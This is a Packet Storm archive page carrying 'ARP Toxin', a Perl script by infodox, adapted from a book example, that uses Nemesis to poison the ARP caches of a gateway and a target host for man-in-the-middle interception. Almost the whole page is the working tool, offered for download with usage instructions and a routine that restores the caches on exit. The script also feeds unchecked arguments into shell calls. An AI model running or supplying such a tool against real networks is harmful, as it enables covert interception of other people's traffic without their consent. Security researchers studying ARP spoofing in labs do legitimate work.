exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ARP Toxin Cache Poisoner

ARP Toxin Cache Poisoner
Posted Nov 27, 2011
Authored by infodox

ARP Toxin is a simple Perl script designed to ARP poison a host on the LAN. It uses Nemesis as a packet crafting tool to create and send the ARP packets. It is NOT original code, merely a slightly improved version of the sample arpredirect script from the book "Hacking: The Art of Exploitation". This variant allows one to set their own poisoning interval and interface to poison on.

tags | tool, perl
systems | unix
SHA-256 | aaa815740a2967208c32389034fd22ddc713b8769ad0c27475d119c8fbeb276d

ARP Toxin Cache Poisoner

Change Mirror Download
#!/usr/bin/perl

$device = shift; # First command line arg... interface to use...
$SIG{INT} = \&cleanup; # Trap for CTRL + C, and send to Cleanup
$flag = 1;
$gw = shift; # Second command line arg, gateway IP address...
$targ = shift; # Third command line arg, target IP address...
$interval = shift; # Fourth command line arg, setting the Interval...

print " * **** **** ***** *** * * * * * \n";
print " * * * * * * * * * * * * ** * \n";
print " ***** **** **** *** * * * * * * * * * \n";
print " * * * * * * * * * * * * ** \n";
print "* * * * * * *** * * * * * \n";
print "arptoxin.pl - ARP Cache Poisoning Utility\n";
print "Uses Nemesis to poison ARP caches for MITM attacks\n";
print "Based on example code from Hacking: The Art of Exploitation\n";
print "Improved version allows user-setting of interface and interval...\n";
print "This variant by infodox - http://compsoc.nuigalway.ie/~infodox \n";

if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
{ # Preform input validation, if bad, exit.
die("usage: arptoxin.pl <interface> <gateway> <target> <interval>\n");
}

# Quickly ping each target to put the MAC addresses in cache...
print "[+] Pinging $gw and $targ to retrieve MAC addresses...\n";
print "[+] Using $device as interface...\n";
system("ping -q -c 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null");

# Pull those addresses from the ARP cache...
print "[+] Retrieving MAC addresses from ARP cache...\n";
$gw_mac = qx[/sbin/arp -na $gw];
$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
$targ_mac = qx[/sbin/arp -na $targ];
$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);

# If they're not both there, exit...
if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[-] MAC address of $gw not found.\n");
}

if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[-] MAC address of $targ not found.\n");
}

# Get your IP and MAC
print "[+] Retrieving your IP and MAC infodox from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5); # getting your IP
$me_mac = @ifconf[4]; # Getting your MAC

print "[*] Gateway: $gw is at $gw_mac \n"; # Just printing infodox for the (l)user...
print "[*] Target: $targ is at $targ_mac \n";
print "[*] You: $me is at $me_mac \n";
print "[*] Poisoning with interval $interval \n";
while($flag)
{ # Continue poisoning until CTRL + C
print "[+] Redirecting: $gw -> $me_mac <- $targ";
system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $gw_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
sleep $interval;
}

sub cleanup
{ # Put things back to normal...
$flag = 0;
print "[-] Ctrl-C caught, exiting cleanly.\n[+] Putting ARP caches back to normal...";
system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
}
#EOF Motherfuckers!!


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close